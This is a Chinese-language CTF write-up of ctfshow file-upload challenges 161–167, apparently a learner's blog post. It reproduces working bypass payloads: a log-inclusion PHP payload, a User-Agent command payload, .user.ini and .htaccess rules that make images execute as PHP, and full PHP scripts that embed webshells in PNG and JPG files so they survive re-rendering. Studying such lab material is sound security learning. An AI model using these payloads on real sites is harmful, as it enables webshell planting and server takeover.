ctfshow 文件上传161-167
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- web161(关键字过滤,日志包含)
- web162 163(条件竞争)
- web164(PNG图片二次渲染绕过)
- web165(jpg二次渲染绕过)
- web166(.zip)
- web167(.htaccess)
151-160: https://blog.csdn.net/qq_52671379/article/details/123977585
web161(关键字过滤,日志包含)
过滤了大部分关键字
可以利用日志包含绕过,图片内容
3duan.png
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log被过滤了。所以用拼接绕过
添加了文件头的检查,所以加入内容GIF89a绕过
思路:
.user.ini配置文件的利用
日志包含绕过
过滤system,反引号代替shell执行
步骤
先上传.user.ini.png文件(因为png为合法文件,之后抓包之后再修改文件名为.user.ini.)
然后再上传shell文件3duan.png
抓包修改ua头信息
User-Agent: <?=`tac ../f*` ?>
访问/upload/index.php即可得到flag
web162 163(条件竞争)
没做出来,还在看
web164(PNG图片二次渲染绕过)
PNG图片二次渲染配合文件包含漏洞原理:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
直接在图片中插入一句话会被删除掉,二次渲染会把上传到服务器的图片的代码改变,
利用脚本构造出一个png木马图片
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./png2.png');
?>
生成一个插入一句话的png文件
直接上传木马图片
访问上传成功的图片,
get:&0=system
post:1=tac fl*
ctrl+s下载得到flag
web165(jpg二次渲染绕过)
kali利用脚本合成jpg木马图片
$miniPayload = "<?php system('tac f*');?>";
jpgexp.php
<?php
//用法 php exp.php a.jpg$miniPayload = "<?php system('tac f*');?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');}if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {
$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {
$outStream = $outStreamTmp;} else {
break;}if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');} else {
break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];}}}class DataInputStream {
private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';$this->order = $order;if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {
$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {
return ($this->size - strlen($this->binData));}public function skip($skip) {
$this->binData = substr($this->binData, $skip);}public function readByte() {
if($this->eof()) {
die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);} else {
$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {
return !$this->binData||(strlen($this->binData) === 0);}}?>
语法
php jpgexp.php jpg2.php
kali报了一个错误,解决方法sudo apt-get install php-gd
jpg图片不要改后缀,用不了
直接上传合成后的图片,访问
最后换着命令试了很多次也没成功
web166(.zip)
不清楚他检查什么部分,只能先后缀名的爆破,发现可以传zip文件
内容不做限制
上传.zip
文件,内容为一句话木马
之后没思路,木马也不知道怎么执行,大佬说文件包含,没执行成功,有点懵
最后直接蚁剑连接http://9458cfba-7ce8-4b5a-8512-e5b20a5b126a.challenge.ctf.show/upload/download.php?file=78a99ef886a6d085f20b0dfad862ca92.zip
web167(.htaccess)
一个提示
那应该和apache有关,主要利用.htaccess进行绕过了
一、首先上传.htaccess
内容
AddType application/x-httpd-php .jpeg
//将.jpeg后缀的文件解析成php
方法:选一张图片抓包更改文件名(只可以上传jpg文件),内容
二、上传图片一句话
访问